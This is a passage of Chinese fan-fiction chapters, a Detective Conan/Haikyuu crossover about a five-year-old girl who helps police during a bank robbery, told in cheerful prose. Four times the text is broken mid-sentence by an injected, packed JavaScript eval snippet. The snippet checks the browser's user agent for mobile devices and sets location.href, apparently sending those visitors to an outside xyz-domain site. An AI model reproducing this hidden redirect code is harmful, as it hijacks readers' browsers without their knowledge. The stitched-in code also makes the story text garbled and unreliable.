横井优美很聪明,她也立刻明白了这个道理,劫匪不知道这一点,那就是他们的一线生机,如果知道,那就是加速他们死亡的导火索。 她警惕地看了看周围,没有人注意到这里,才对着蔻蒂点点头。这种情况下,她只能以全部恶意去揣测所有人,以防有人想要出卖同伴换取劫匪的“宽容”。 “有一次‘年糕’叼了一个鱼肉肠给我,可能是因为它看到那天我没有吃午饭,就跑出去帮我寻找食物。鱼肉肠只有银行后面一条街的便利店才有的卖,我猜年糕可以通过通风管道出入。” 横井优美唏嘘地想现在的小孩子真是越来越聪明了,她在这个年纪还每天早上起来在被窝里找心灵之蛋呢。 想到现在不知道在哪乱窜的小猫咪,横井优美对自己处境的担忧就变成担心年糕。她和年糕就是在这里认识的,作为一只住在通风管道的流浪猫,横井优美才是入侵它地盘的两脚兽。好在人类非常识相,试着给喵大人呈上了几次供品后,横井优美才获得了在这里和它一起共进午餐的权利。 好不容易将年糕养出些肉,如果今天自己出事了,以后年糕会不会又回到饥一顿饱一顿的流浪生活,可恶的劫匪! 有栖川蔻蒂摇了摇发呆的猫猫阿姨:“可以把猫猫零食借给我用一下吗?” “现在把年糕叫过来,让劫匪知道的话我们都会完蛋的。”横井优美耐心地和小蔻蒂解释,“小朋友,我们等出去了再叫年糕跟你玩好不好。” 被当作贪玩的小屁孩的有栖川蔻蒂觉得自己受到了侮辱,她才不是那些没有被满足欲望就会在地上打滚的熊孩子呢! 她固执地向横井优美举着手:“不是和年糕玩,是要让年糕带我出去找日暮伯伯。” “可是里面的情况到底是什么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950426|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们都不知道,我不能让你冒险,你还是个小孩!”作为成年人的责任感让横井优美拒绝她的请求。 “不是有栖川小朋友,是有栖川侦探!”有栖川蔻蒂气呼呼地鼓起腮帮子,把自己涨得像一只河豚。 不把这里的情况告诉警察,就会有人受伤害,钱钱也会飞走,那她这个名侦探不就什么忙也没帮上吗? 不行!这可是未来第一侦探有栖川蔻蒂的出道战,绝对不可以就这样失败! 可是……她是一个小孩子,没有办法把猫猫的零食从大人口袋中抢走。猫猫阿姨就是不给她,要怎么办呢?小蔻蒂纠结地咬着手指。 突然,她看到猫猫阿姨藏在袖子里的手腕上划下来一条细细的星星手链,她记得,这和刚才那位高高的阿姨手上的弯月手链是一个款式。 有栖川蔻蒂年纪尚小,不知道通过什么途径去威逼利诱一个人达到目的。可天才就是天才,有些东西不需要教也能无师自通。 “那个高高的阿姨会死哦。” 小女孩的眼睛像两颗黑葡萄一样挂在肉嘟嘟的脸上,模样十分可爱。被有栖川蔻蒂可爱的外表只迷惑了一会,听到后半句话横井优美顿时觉得后背升起一阵寒意。这种像是诅咒一样的话……她为什么会这样说?这个孩子到底知道些什么? 她的语气太笃定了,就像在说一件必定发生的事,横井优美不得不开始担忧在另一个房间的好友。 “你……究竟是谁?” “我叫有栖川蔻蒂,是世界第一名侦探。” 未来的,蔻蒂自动将补充词略去,学着妈妈珠英女士工作时的语气,板起小脸认真地说。每次妈妈这样说完以后,其他人就会非常听话。有栖川蔻蒂不懂得什么叫警察的震慑力,只当说出自己的名字和身份就能达成一样的效果。 幸运的是,横井优美是一个喜欢异想天开的人,否则也不会冒险做出在公司养猫的事。 她纠结了几秒钟,就将口袋里的猫条递给面前的小女孩,就当她疯了吧,或许她真的可以期待见证一颗星星的诞生。 揣上猫条,有栖川蔻蒂迈着小短腿跑回两个小伙伴身边,将自己的发现、计划等等全部秃噜出来。他们可是最好的朋友,当然值得区别对待。 “我要从通风管道出去告诉目暮伯伯劫匪的小秘密,帮我看好入口不要让人过来哦。” “劫匪?”不同于有栖川蔻蒂从娘胎里就天天听着这些专业词汇,两个小伙伴显然有些迷茫。 “就是外面那个坏叔叔啦!” 黑尾铁朗懵懂地点点头,觉得自己突然间好像变成了正义的伙伴,迪迦身边的胜利队。紧张又有点激动地握拳挥舞道:“我们懂了!你也要加油喔!” 不!他不懂!孤爪研磨沉默呐喊,这种事一看就又不靠谱又危险呐! 但另外两个小伙伴已经陷入了英雄幻想不可自拔,抓起他的双手,一人一边举起,悄无声息地击了个掌,象征着这个奇怪的侦探小队的正式建立。 被两个人一起莫名其妙拉上贼船,变成同伙的孤爪研磨只能从嗓子里憋出一句:“……小心。” 5. 夏日银行抢劫案(四) 三颗小蘑菇挪啊挪,一起爬到铁架子旁边。有栖川蔻蒂躲在两人后面,轻手轻脚地将通风口的百叶窗摘了下来。为了年糕出入方便,百叶窗只是虚挂在上面,没有被固定死,它的重量不重,即使是一个五岁小孩也能拿得动。 轻手轻脚地把百叶窗放在地上,三颗小蘑菇站在入口处僵住了。 通风管道口狭窄,光明止步于入口二十厘米的地方。向里看去,就像哥斯拉的嘴巴一样深不见底,散发着恐怖陌生的气息。 “好黑啊。”黑尾作为代表说出了三个人的心声。 小孩子怕黑是一种普遍现象,即使是有栖川蔻蒂异常聪明于其他小孩也不能幸免。她的两条小短腿有些打颤,呆毛都炸起来了,身上每一个细胞都在尖叫着,想逃! 孤爪研磨看出了蔻蒂的恐惧,抿着嘴上前一步轻轻握住了她的手:“你很害怕,不要去了,警察很快就会进来救我们的。” 凉凉软软的小手像是史莱姆,有栖川蔻蒂本来就吊着一颗心,更是被吓了一跳。 她跟生锈了的机器人一样,“咔哒咔哒”地扭过头来看着自己新交到的好朋友。 他的眼睛好大哦,就比自己小一点点,皮肤白白的,眉毛细细的,有点像女儿节人偶。她的新朋友好像很漂亮,又漂亮又温柔,她也太幸福了! 幸福的蔻蒂将新朋友护在身后,她仰着脖子,像一只巡视自己地盘的大鹅:“怕?!谁怕了!有栖川侦探才不会怕黑呢!” 蔻蒂年纪虽小,但最好面子。生平第一次的侦探活动怎么可以被小小的黑暗吓倒。一咬牙一跺脚就转头钻进了“哥斯拉的嘴巴里”,研磨两人都来不及拉住她,只能遵守着约定,要帮她打掩护。 两颗无助的小蘑菇失去了活力四射的同伴,又默默地化为石雕在墙角扎根下来。心里不住地为她默念着:加油啊,莉亚! 事实证明,从通风管道潜入各个地方一点也不像电影里演得那样,特工们帅气在里面匍匐前进,神不知鬼不觉地就偷走各种机密、宝物。然后留下一头雾水的小喽啰,被暴怒的大反派一脚踹飞指着鼻子大骂。 真正的通风管道里全是灰尘,狭窄、阴暗,运气不好的话还能摸到虫子或者不知道什么东西的尸体。 有栖川蔻蒂憋着嘴,使劲吸了吸鼻子,竭力把摇摇欲坠的眼泪憋回去。 她挥舞了一下拳头给自己加油鼓劲,不能哭,莉亚要做最厉害最年轻的名侦探,要让新朋友们大吃一惊!看着他们两个佩服地趴在地上举起手大喊:有栖川蔻蒂是我最最最喜欢的朋友! “年糕——”“年糕——” 蔻蒂小声地喊着,怕被人听见奇怪的动静,声音几乎只在喉咙里打转。 猫猫阿姨说,年糕是一只白色的小猫咪,和它的名字一样。 有栖川蔻蒂一边爬一边在脑子里将整个通风管道的线路构建出来。好像转了两个弯后,一双橙黄的猫瞳在黑暗中蓦地出现,像两颗小灯泡似的盯着她,蔻蒂能听见“年糕”喉咙里发出的警觉的呼噜声。 “不怕不怕,年糕,我有零食哦。” 有些人天生动物缘好,野性极强的流浪猫也能对她敞开肚皮。有栖川蔻蒂伸出小手悬停在空中,白猫悄无声息地向前迈了一步,没有发出声响。湿漉漉的鼻子撞上她的小手,温热的呼吸喷洒出来,年糕正在通过味道来确认眼前这个生物的身份和危险性。 掌心被带着倒刺的舌头舔舐了一下,猫条袋子与舌头碰撞发出吧唧声,年糕品尝着熟悉的供奉,尾巴愉悦地在管道壁上扫来扫去。 蔻蒂伸出冒犯的小手,摸了摸年糕的头,又偷偷丈量了一下年糕的体积。 哇,好大一只猫哦!她一只手完全抱不下! 年糕不应该叫年糕,它一点也不像年糕一样是长长瘦瘦的一条,它应该叫大福!白白胖胖,用手戳一戳能戳下去一小块洞的胖大福! 年糕没有听到奇怪的两脚兽对自己的“恶意诽谤”,进食完后矜持地舔了舔爪子:“喵啊~” 年糕大人被伺候的很满意,人,说说你的诉求,有栖川蔻蒂是这么理解的。 “年糕,你能带我从这里出去吗?” “喵~”白猫没有动,显然没有听懂她的意思。 “出去,大街上,鱼肉肠……”蔻蒂不知道说哪个词才能让年糕听懂自己的意思。 “咪嗷~” “鱼肉肠?”她又念了一遍它似乎有所反应的词汇。 “咪~”大白猫转了个身走了两步,然后停下看她,像是在带路。 它听懂了,年糕还记得带给猫猫阿姨的鱼肉肠!年糕真是世界上最聪明的小猫咪! 小朋友对各种各样的小动物总是充满好奇,拥有一个可可爱爱的小动物做朋友,那是做梦都在想的事。有栖川蔻蒂也有好奇,不过仅仅局限于动物百科里的好奇,好奇物种间的,不偏好任何一种动物。但是从今天开始,她最最最喜欢小猫咪啦!因为猫是侦探最好的助手! 跟随者年糕的脚步,蔻蒂不知道爬了多久,四条腿的动物总归比两条腿的人爬得快。好在年糕非常有耐心,走两步就回头等蔻蒂跟上。终于再次见到光亮的那一刻,银行的通风管道线路图也在脑中完整地涂抹出来。 蔻蒂没有立刻去寻找警察,而是跟着年糕去了便利店,凭借着“街霸”年糕刷脸,问店员姐姐要了一张便利贴,将记忆的路线立刻画下来。 因为银行劫案,附近的两条街都在慢慢清空人群,以免造成混乱误伤无辜群众,不过还是挡不住有人爱看热闹,堵在警戒线外踮着脚尖向里张望。 凭借着她这小身板,硬挤显然是挤不过去的。有栖川蔻蒂酝酿了一下,小嘴一瘪,眼泪像关不上的水龙头,哗啦啦地流了一脸,嘴里哭嚎着喊“爸爸妈妈你们在哪?” 招不在新,有用就行。 在不危机自身安全的情况下,人人都有一颗热心肠,一双手接着一双手,小蔻蒂被人流推着,突破层层阻碍顺利地见到了警戒线旁边的警察先生,她眼睛一亮,还是一个熟面孔。 “高木叔叔好!” “蔻蒂?!你怎么在这里???”年轻有为的高木警部惊讶地蹲下来,“我记得三系今天在排查无头案的尸源,你没有和真田警官在一起吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950427|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 真田警官指的就是有栖川蔻蒂的妈妈珠英女士,她婚前姓氏是真田,由于夫妻俩都在警视厅工作,所以为了区分珠英刑警和春生法医,警局的同事们多以原姓氏区分。就像佐藤美和子一样,结了婚改姓高木,但大家仍旧叫她佐藤警官。 所谓一人得道,鸡犬升天。警察体系里面本身就是一个小社会,派系林立,即使不想主动参与进去,身上也会被打上标签,比如高木涉和佐藤美和子就是标标准准的日暮派。 在日暮十三晋升为搜查一课课长以后,佐藤美和子顺势接替其位置成为强行犯搜查3系系长,而高木涉想继续晋升的话免不了夫妻俩内斗。 他倒是愿意给老婆当小跟班,但家里的孩子不允许。房贷、奶粉、上学等等,处处都需要钱,一个当警部的妈妈根本不够。 于是夫妻俩在被窝里商量了一下,高木涉就转去了强盗犯搜查2系发光发热。气质和蔼的他有助于谈判的进行,对犯罪分子来说是一个可以交流的对象,倒是误打误撞找到了适合自己的事业,这也是他今天出现在银行劫案的原因。 有栖川蔻蒂对高木涉招招手,等他凑过来后用胳膊圈住高木的脖子,小声地贴在他的耳边说了一个足以改变局面的秘密。 “劫匪的枪里没有子弹。” 高木没有怀疑蔻蒂的话,真田警官是美和子的直属下属,有关蔻蒂的情况他听妻子说了不少。于是他立刻抱着蔻蒂去找目暮十三,报告这件事。 此时,目暮十三正坐在车里指挥调度,听完了高木的报告,他又看了一遍之前现场勘查,通过周围的录像以及路人叙述,银行里都的的确确传出了枪声。有枪声却没有子弹,这件事倒不是不可能发生。 但有关无数人质的生命安全,他必须再次向蔻蒂确认:“你为什么会这样说?” “因为天花板上没有弹孔哦~”有栖川蔻蒂得意地用手指指向电脑屏幕上监控终端前画面的某处,那正是劫匪站在门口震慑人质时开枪的位置。 手枪的子弹也许弹射到某处让人没法一下子找到,但是xian弹枪,只要不是瞎了,肯定能看到留下的痕迹。 她一早就发现了这一点,但一直没有找到劫匪制造声音的来源。 “我叫人去做画面分析。”两人对蔻蒂的推理信了八九分,高木立刻行动起来,为蔻蒂的证词背书。 日暮十三长吁一口气。 劫匪有无枪械对于救援的难度是两个完全不同的等级和方案,如果今天有任何普通群众伤亡,那他这个课长也就做到头了。职位也是其次,人质数量庞大,他更担心会造成无数家庭的悲剧。 日暮摸了摸女孩的头:“你做得很好,接下来就交给大人吧,我让人送你回真田警官那。” 有栖川蔻蒂不乐意,如果现在就回去,那谁还会知道她有栖川侦探的英勇事迹?谁还会了解是她提供了关键线索?更重要的是,她的两个新朋友上哪去膜拜她这个最最最喜欢的朋友? 她眨巴着大眼睛,一脸天真无畏地说:“目暮伯伯,你这是过河拆桥吗?” 目暮十三:“……” 6. 夏日银行抢劫案(五) 童言无忌,童言无忌。 目暮十三感觉自己的血压飙升,眼前一黑。什么叫过河拆桥啊?!这孩子从哪学的词。 他还犯不上跟一个小孩子抢功劳,不对,他就从来不是抢功的人!哪回被人帮了,他事后的报告没有把那些个侦探的名字写上去?! 看着有栖川蔻蒂捧着小脸眨巴眨巴眼睛看他,目暮十三头疼地安排道:“那你就呆在这里,等你真田警官下班了我再让她来接你。” 下班?珠英刑警哪有下班,没把无头案的凶手抓到,她这几天都得住在警局,还不如指望春生法医切完手上几具尸体想起他的乖女儿来。 蔻蒂没有吭声,目暮就当她听见了。如果珠英刑警在这,就会给正直老实的目暮警官提个醒,不要小看五岁的孩子,她的心眼多着呢。 “没答应的事情做了的话就不算违约”,小孩子惯会钻空子,聪明的小孩尤其是这样。所以跟这孩子说话时一定要得到她的答复,否则绝对不能放下心来。 满肚子坏水的有栖川蔻蒂无聊地趴在警车内的桌子上发呆,眼珠子滴溜溜乱转。这里一时半会结束不了,她才不要傻等在这里。比起知道劫匪的动机,警方有什么计划这种外面的记者抢破头都想知道的独家消息,蔻蒂更想知道两个好朋友的名字,要赶紧回去了,他们还在等着她。 目暮伯伯离开车子后,有栖川蔻蒂在心里数了一百秒,确认车外没有动静后,用几分钟将便利贴上管道线路图背下来,然后在下方写了一行字,将便利贴贴在电脑屏幕上。 【坏人会(眼睛)哒,我回去了(手铐),不用担心。(爱心)(爱心)(爱心)】 太多专业词汇蔻蒂只会说不会写,连写带画才把这句留言写完。 蔻蒂满意地拍拍手,站在凳子上,透过车窗观察外面的情况。 车外守着一个年轻的警察,亚麻色的短发微卷,一双清澈的下垂眼看上去很好说话。好像一只大金毛哦,蔻蒂想着,金毛也很可爱,但是她现在还是最喜欢猫咪了。 看到有栖川蔻蒂探出脑袋来,年轻的警察温和地问她怎么了。 “哥哥,我想尿尿。”小孩子要什么羞耻心,虽然她会说卫生间这种文明词,但显然使用尿尿这个词更能让这位警官变得羞涩慌乱,从而更容易答应她的请求。 刚从学校毕业一年的一色都都丸没有孩子,更没有带小女孩上厕所的经历,他手足无措地准备求助一位女警官,被“小恶魔”无情地抓住裤腿撒娇。 “不要嘛,不要嘛,我就要你陪我去!”蔻蒂回忆了一下在商场里看到过的满地打滚的熊孩子,立刻活灵活现地表演了一遍。 一色警官眼疾手快拽住自己的裤腿,才没有在大庭广众之下被扒了裤子。 “我带你去!你先松手!” 最近的卫生间在商场里,一色都都丸和警戒线旁的同事说了一声,带着蔻蒂离开了警察的包围圈。 他窘迫地站在女厕门口,不光要忍受旁边人好奇的注视,还要高声回应蔻蒂在女厕里的呼喊。 “都都哥哥,你在吗?” “呃,我在。” “都都哥哥,你千万不要扔下我哦-” “……当然不会,你放心。” “都都哥哥,你有女朋友吗?” “我,我还没考虑过那些!小孩子不要这么八卦啊!”都都丸痛苦挠头,这孩子原来是话唠吗? 并不话痨只是在必要时刻活用语言的有栖川蔻蒂在马桶上坐着,等待一个有利于她的时机。 一个年纪在三十岁上下,穿着白色伞裙,手提托特包的女性从对面的隔间走出。蔻蒂眼睛一亮,伞裙和托特包的高度和大小都能遮挡住她的面容,从都都丸警官眼皮子底下逃跑的时机出现了。 里面终于没了声音,一色都都丸只当是那孩子说累了,松了一口气,坐在卫生间门口的长凳上静静地等待着。 附近的银行抢劫案并没有影响这边商场的人流量,正值假期,平时就相对拥挤的女厕所在节假日更是一刻不停地有人进进出出。手挽手的两三个女孩子,脚步匆匆的商场职工,拉着妈妈衣角的母女俩,还有等在外面站成一排玩手机的男性…… 二十分钟过去了,一色都都丸猛地从凳子上站起来。他忽然醒悟,就算女性上厕所的平均时间慢一点,那孩子进去的时间也太长了! 没有!到处都没有!请人在女厕找了也没有人! 一色都都丸眼前一黑,觉得自己的警察生涯即将做到头,大学几年的努力全部化为泡影,呜呜呜,他怎么会把目暮警视的孩子弄丢了! 目暮十三:天大的误会,我可不敢有这种孩子。 造成恐慌的有栖川蔻蒂牵着一位完全不认识的女性的手,淡定地跟着她走出了一色警官的视线。 “小朋友,你和家长走散了吗?” “唔?”蔻蒂疑惑地抬头,露出震惊的表情,慌慌张张松开抓住女人衣角的小手。 “对不起哦,姐姐,我认错人了。” “没关系,还找的到你的家长吗?” 蔻蒂重重地点头:“嗯!我很聪明哒!” 蹦蹦跳跳离开女人的视线后,有栖川蔻蒂拔腿就跑,离开商场,冲向银行,丝毫没有因为欺骗了善良单纯的一色警官而感到愧疚,反而因为自己借助一位陌生女性而制造障眼法的计谋沾沾自喜。 都都好笨哦,居然会犯这么基础的错误,因为监视对象是一个人,所以就直接忽略了所有成群走出厕所的组合。 他也很努力了,果然还是有栖川侦探太聪明了吧! “研磨。”黑尾小声叫了一下伙伴,“莉亚为什么还没回来?” 临走的时候做了约定,黑尾不知道时间过去了多久,好像比一节课还要长。 她会不会遇到危险了?被坏人抓住,在通风管道里遇见可怕的怪物,在路上被车撞到。无数种可怕的画面不断地在黑尾铁朗的脑子里冒出来,越想越害怕,吓得他眼中泛起泪花,要怎么办呀。 看着黑尾悲伤到皱成一团的脸,孤爪研磨绞尽脑汁想了一句安慰的话:“也许她已经见到警察了。” 黑尾用小手拍拍胸口,好像完全没有考虑过自己,只是为朋友脱险而高兴着:“太好了,原来莉亚已经安全了!” 笨蛋,笑得像个傻子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950428|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研磨垂下头,两侧的头发从下巴滑落,他沉默地将自己缩成一团。没有黑尾那样乐观,研磨更为早熟一点。在这个没有任何超能力存在,也不可以读取任何存档的世界,他很难相信一个同龄人能有什么超乎寻常的本领。 而且,如果已经逃走了,那么不再回来才是最正确的选择。 后腰突然被戳了一下,研磨疑惑地看向黑尾,黑尾也疑惑地回看他,四只眼睛相互瞪着,像是在玩什么先移开视线就输了的游戏。 “研磨,怎么了?” “你怎么了?” “我没事啊?” “那你为什么用手戳我?” “不是你戳了我一下吗?” 两人小声地快速对话完后后背同时升腾起一阵寒意,恐怖片中最可怕的情节,不是当成自己一样信任的队友是内鬼,而是走着走着突然多出一个人来。 一瞬间对未知的恐惧战胜了劫匪的威慑力,两人惊恐后退,四肢着地,向后连滚带爬撤退了三米,就连被束缚住的双手也没有影响他俩的发挥。 恐惧与好奇总是并存,即便心脏已经快要从喉咙口跳出,但研磨和黑尾还是忍不住回头看了一眼。 一张圆乎乎,鼻头上沾上了黑灰的“花猫”脸从他们挡住的通风口冒了出来。昏暗中,女孩笑起来时的眼白和牙齿格外显眼,配上凌乱的头发和灰扑扑的白裙子,显得又可怜又可笑。 “我回来了!” 此时此刻,研磨读懂了女孩的口型,耳畔似乎听到了烟花炸开的声音,大脑和心脏被她过于璀璨的笑容击中。年仅六岁的研磨不懂这种异样的感觉是什么,只是脑子里回忆起刚才女孩冗长复杂的自我介绍。 他的记忆力很好,现在还能回忆起惊慌下听到的每一个词。 “我叫有栖川蔻蒂,有栖川是有栖川有栖的有栖川,蔻蒂是寇蒂莉亚·葛蕾的蔻蒂,妈妈喜欢看侦探小说所以给我取了一个奇怪的名字,你们可以叫我莉亚!” 莉亚,也是一个笨蛋。 彼此都在担心着的三个人重新聚到了一起,相互都把自己当成的这个小团体的“最懂事”“最贴心”的那个角色,尽管被照顾的“人们”都没有察觉其他人的想法。 有栖川蔻蒂老成地叹口气:“可能赶不上露营了,目暮伯伯还要准备好久。” 孤爪研磨:……这种时候就不要关心那些事了! “没关系,我们可以下次再去。对吧,研磨!”作为三人中最年长的黑尾,虽然害羞但相当有照顾弟弟妹妹们的自觉,安慰着蔻蒂,约好下次和她一起去露营。 “研、磨,你的名字是叫研磨吗?!”捕捉到关键词的蔻蒂一扫刚才的小忧郁,眨巴着眼贴到研磨边上问道。 太近了! 研磨僵硬地将脑袋后仰十厘米,错开她专注的眼神。 “嗯……孤爪研磨,叫我研磨就好。” “我叫黑尾铁朗哦!” “铁、铁什么?”舌头在嘴里和牙齿打了一架,蔻蒂觉得这个名字是圆滚滚的,像是有一个小球在嘴里转了一圈。 “和研磨一样叫我小黑就好!” “嗯!小黑!” 7.夏日银行抢劫案(完) 小狗相互嗅了嗅屁股,摇着尾巴高兴地汪几声,大家就在一个地盘混了。 小朋友没那么多顾虑,三个孩子凑在一起交换了名字,那就是以后风吹雨打都要手拉手去小公园玩沙子的关系了。 无数次再回想起当初的相遇,早已不记得被束缚的恐惧以及那黑漆漆的管道口。但那个下午,在仓库中,三个孩子趴在地上,相互教会对方自己的名字要怎样拼写的画面将永远不会褪色。 隐隐约约听到外面的动静,第一批人质已然成功获救。 第二次交换在警察准备好劫匪所需要的车辆后到来,银行百米范围内没有任何一个人,至少明面上是达到了劫匪的要求。至于高处的狙击手,埋伏在街道边商店内的警察,劫匪无法去一一验证,更没有时间做那些事。 就这样,剩下的人质们像兔子似得排成一排,蹦着从升起的卷帘门中跳出,井仓充躲在后面,手中挟持着平田喜子,也就是那位被劫匪选中的高个子女职员,佝偻着身体缓缓走在人墙后面。 按照井仓充和警察的交涉,一辆加满油,没有牌照的白色面包车停在银行门口。井仓充用力将四个轮胎都踩了一下,确认没有轮胎漏气后,才掐住了平田喜子的脖子走到驾驶室那一侧,低声对她说:“开门。” 平田喜子面色惨白,但还站得住,脑子里一直想着那孩子借着摔倒在她身上跟她说的话。 “你会做人质”这句已经应验了,剩下那一句究竟是真是假? 脑子里一直想着这件事,就没有听见劫匪说的话,惹恼了从走出银行就绷紧了神经的井仓充。身体被用力拉扯了一下,侧腰撞上车把手。平田喜子脑袋“嗡”了一声,疼痛带来的愤怒和恐惧是两只大手,反复拉扯着她的理智。 纠结只在须臾之间,最终愤怒占据上风,将所有的顾虑踩在脚下,那一瞬间平田喜子几乎忘记了抵在她后背的xian弹枪,脑子里只想着,都要被劫匪带走了,她的处境还会糟糕到哪去。 一位成年女性的力量不可小觑,更别说平田喜子因为有一个喜欢跑步的小侄子,一下班就会被拉着去长跑。她用尽全力快准狠地踩上井仓充的脚面,男人的惨叫声回荡在空旷的街道上。 平田喜子第一次感谢傻缺公司逼女职工穿高跟鞋上班的规定,这一击造成的压强,几乎穿过鞋面将井仓充的脚贯穿。人在危急关头的潜力超乎想象,事后回想,再来一次她肯定做不到这种程度。 趁着劫匪吃痛弯腰,平田喜子挣脱了他的束缚,对着其他还在张望的人质大喊了一声:“他枪里没有子弹,跑啊——” 这个举动非常鲁莽,即使劫匪被重击,但等他反应过来,人质仍旧不能跑出射程,并且很有可能激怒劫匪,造成人质伤亡。 人在听到指令的下意识是遵从,尤其是成年人,加上积压的求生欲,让人质对此更来不及思考,双腿蹦起就向外跳去。 慌乱之下并没有几个人真正能控制得了自己的身体,一个人倒下,一个接着一个,像多米诺骨牌一样,人墙顷刻倒塌。 “站住!谁也别想走!” 眼睛再一次对上劫匪黑黢黢的枪口,正当人质心生绝望之际,一颗从千米之外的子弹洞穿了井仓充的脑门。红色的血线从他的额头自上而下滑下,就像是电影中的慢动作一样,平田喜子清楚地看到这一幕。 狰狞和茫然定格在他的眉眼,最后的最后,井仓充浑浊的眼睛艰难地转动了一下,不知道在看什么。 空气凝滞了几秒,抽泣和呜咽才接替响起。悬在头顶的达摩克利斯之剑随风消散,他们获救了! 有栖川蔻蒂突然眼前一黑,分别属于两个人的手同时捂住了她的眼睛,一人一边分工明确。 她疑惑地眨了眨眼……研磨和小黑在干嘛?是要玩“猜猜我是谁”的游戏吗? 孤爪研磨和黑尾铁朗不语,只是默契地用颤抖的小手挡住女孩的视线。尽管自己也怕得要死,两腿都开始打颤了,还是腾出一只手挡住蔻蒂的视线,隔绝劫匪狰狞的死状。 莉亚都不说话了,一定是被吓坏了,他们这样想着。 完全没有害怕,甚至还回忆了一下子弹射入角度的有栖川蔻蒂,顺带在脑中分析了警察究竟埋伏在附近的哪栋楼楼顶。 劫案落幕后是繁复的收尾工作,警察做笔录的问询声和人质与亲友团聚的倾诉声混在一起,没有人会在这时候觉得吵闹。 黑尾的父母也匆匆赶到,和孤爪一家将两个孩子好好的检查了一遍,又亲又抱弄得小男孩们忘记了刚才的恐惧。红着脸推拒,不好意思地在莉亚面前维护自己成熟的好哥哥形象,顺带自豪地将新朋友介绍给爸爸妈妈。 经历了惊心动魄的一天,即使是有些内向的研磨和黑尾都变得话多起来,叽叽喳喳地介绍莉亚是一个多么多么厉害的侦探。当事人不知道什么是害羞,什么是谦虚,在大人们一声声夸赞吹捧中,下巴仰起,尾巴越翘越高。 究竟是谁这么厉害呀,原来是世界上最年轻,最有前途的名侦探…… “有栖川蔻蒂!!!” 脖子后面伸来一只大手,稳稳地拎起有栖川蔻蒂的衣领,蔻蒂晃了晃脚,她怎么腾空了呀? “妈,妈妈……” 武功再高,也怕菜刀。即使是天才的有栖川侦探,也害怕正处于怒火中的珠英女士。虽然不知道妈妈为什么这么生气,但珠英女士绝对不是一个会占着大人身份对孩子使用强权的糟糕大人,先认怂准没错。 骄傲的有栖川蔻蒂像只小猫似的被揪着后脖颈拎走,孤爪妈妈和儿子面面相觑,噗嗤一声笑出来,再厉害的天才,也才是个五岁的小朋友啊。 真田珠英将一个下午没见的女儿带到远离人群的巷子里放下来,早晨扎的两个小辫子已经散开了,乱七八糟地搭在肩膀上,肉肉的脸颊上不知道在哪占了黑灰,跟只小花猫似的,这玩意谁生的,可爱死了! 所以说,有栖川蔻蒂的自恋不是没由来的,纯属是家族遗传。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960792|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳咳,现在不是夸这小混蛋可爱的时候,真田珠英板起脸,压低声音对蔻蒂说:“你知道自己错在哪了吗?” 来了,老妈的死亡问句,回答不好就是写检讨加没收零花钱大礼包,可怜的小蔻蒂字都写不全,就已经写过上千字的检讨了,连写带画的那种。 蔻蒂拧着手指,左思右想:“我不该告诉喜子阿姨劫匪枪里没有子弹?” 这应该是最严重的事情了,但珠英女士没有说话,那就是不对。 “嗯……那我不应该跑回去?”明明都已经安全了,还把自己陷于危险的境地,这不符合珠英女士一贯的教育准则。 可是她跟研磨和小黑约好了的呀,不可以违约的。 显然,真田珠英也提前调查过,知道这一点:“照顾朋友的情绪和约定,虽然不自量力了点,但这次可以不给你算上,还有呢?” 有栖川蔻蒂想不到了,拉着妈妈的手撒娇,求她让自己“死”个明白。 真田珠英叹了口气,蹲下来摸摸她的脑袋,将两个辫子拆开,重新梳好。孩子智商不足难养,太聪明更难养。 从小这孩子就是一个异常聪明,情绪平稳,对什么都很冷漠的样子。没有正常孩子的活泼和好奇,对于鲜血淋漓的现场也不会哭闹。现在又发现了她善于欺骗的一面,对谎言没有羞耻心,甚至兴致上头的时候,完全不顾及自己和别人的安危。 聪明,冷静,缺乏同理心,不在乎自己兴趣以外的事。高功能反社会人格,她抓过几个这样的人。 